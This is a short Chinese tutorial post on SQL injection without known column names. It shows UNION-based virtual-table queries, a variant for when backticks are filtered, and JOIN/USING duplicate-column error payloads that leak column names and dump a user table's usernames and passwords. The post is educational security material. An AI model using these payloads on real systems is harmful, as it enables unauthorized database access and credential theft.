WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
独泪了无痕40 分钟前
COALESCE函数:处理NULL值的利器
sql·mysql·函数式编程
专业开发者1 小时前
Bluetooth® Mesh网络安全概述
物联网·安全·web安全
Suckerbin1 小时前
BTRSys: v2.1靶场渗透
安全·web安全·网络安全
二营长12 小时前
线上系统mysql数据库突然sql执行不出来记录
数据库·sql·mysql
hui133630982163 小时前
远程倾斜位移裂缝计:守护工程结构安全的 “智能监测卫士”
安全
wzx_Eleven4 小时前
【论文阅读】多密钥低通信轮次的联邦学习安全聚合
论文阅读·深度学习·神经网络·安全·同态加密
墨北x4 小时前
2025江西省职业院校技能“信创适配及安全管理“赛项解析答案
服务器·网络·安全
MarkHD5 小时前
车辆TBOX科普 第60次 深度解析系统集成与EMC、功能安全及网络安全测试
网络·安全·web安全
RT-Thread物联网操作系统5 小时前
RT-Thread软件包,RyanMqtt 2.0 发布,全面重构:更轻、更快、更安全、更可靠 | 技术集结
安全·重构
先做个垃圾出来………5 小时前
SQL字符串函数
数据库·sql